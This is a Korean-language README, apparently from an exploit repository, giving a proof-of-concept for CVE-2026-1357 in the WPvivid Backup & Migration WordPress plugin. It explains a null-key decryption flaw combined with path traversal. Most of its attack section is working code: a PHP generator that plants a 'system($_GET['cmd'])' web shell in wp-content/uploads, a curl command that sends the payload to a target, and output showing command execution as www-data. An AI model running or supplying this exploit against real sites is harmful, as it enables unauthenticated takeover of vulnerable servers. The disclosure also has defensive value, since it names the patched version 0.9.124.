
CVE-2026-1357에 대한 개념 증명 익스플로잇으로, WPvivid Backup & Migration 플러그인의 인증되지 않은 임의 파일 업로드를 통한 RCE(원격 코드 실행)를 유발하며, 익스플로잇 생성기와 실행 지침을 포함합니다.
발견자: Lucas Montes (NiRoX)
취약점: 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행(RCE)
CVE ID: CVE-2026-1357
CVSS: Critical(9.8)
상태: 버전 0.9.124에서 패치됨
이 저장소는 WPvivid Backup & Migration WordPress 플러그인(버전 <= 0.9.123)의 치명적인 취약점에 대한 분석 및 PoC(Proof of Concept)를 포함합니다.
이 취약점은 인증되지 않은 공격자가 서버에 임의의 파일(예: PHP 셸)을 업로드할 수 있게 하여 즉각적인 원격 코드 실행(RCE) 으로 이어집니다. 이는 암호화 오류 처리(Fail-Open)의 논리적 결함과 경로 탐색(Path Traversal) 취약점이 결합되어 발생합니다.
이 취약점은 플러그인이 wpvivid_action=send_to_site 훅을 통해 원격 백업 전송 요청을 처리하는 방식에 존재합니다. 공격 체인은 함께 작동하는 두 가지 별개의 버그로 구성됩니다:
플러그인이 전송 요청을 수신하면 openssl_private_decrypt()를 사용하여 제공된 세션 키의 복호화를 시도합니다.
false를 반환합니다. 플러그인 로직은 AES 암호를 초기화하기 위해 를 라이브러리에 전달합니다.falsephpseclibphpseclib에서는 false 또는 빈 키가 널 바이트 문자열(\0\0...)로 처리됩니다. 이를 통해 공격자는 128비트 널 키를 사용하여 악성 페이로드를 암호화할 수 있으며, 실제 개인 키가 필요하지 않게 됩니다.페이로드가 널 키를 사용하여 성공적으로 "복호화"되면 플러그인은 JSON 콘텐츠를 처리합니다.
name 매개변수가 삭제(샌드박스)되지 않습니다.../)를 사용하여 플러그인의 제한된 백업 디렉터리(일반적으로 .htaccess로 보호됨)를 벗어나 공개 wp-content/uploads/ 디렉터리에 악성 PHP 파일을 작성할 수 있습니다.제약 조건:
wpvivid_api_token이 만료되면 취약한 코드 경로는 요청이 조용히 실패하도록 허용합니다.이 익스플로잇은 phpseclib(v1) 동작에 의존합니다. 생성기를 로컬에서 실행하려면 라이브러리 파일이 필요합니다:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)이 스크립트는 널 키로 암호화된 페이로드를 생성하고 셸을 업로드하기 위한 경로 탐색을 포함합니다.
<?php
// exploit.php - Authored by Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Initialize Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. VULNERABILITY REPRODUCTION
// The server defaults to a null key when RSA decryption fails (returns false).
// We set our local key to 16 null bytes to match the server's vulnerable state.
$rij->setKey(str_repeat("\0", 16));
// 3. The Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. The JSON Object with Path Traversal
// We traverse up to /uploads/ to bypass .htaccess restrictions
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Encrypt with Null Key
$encrypted = $rij->encrypt(json_encode($params));
// 6. Construct Packet
// "ABC" is the fake RSA key that triggers the 'false' return on the server
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
결과:
uid=33(www-data) gid=33(www-data) groups=33(www-data)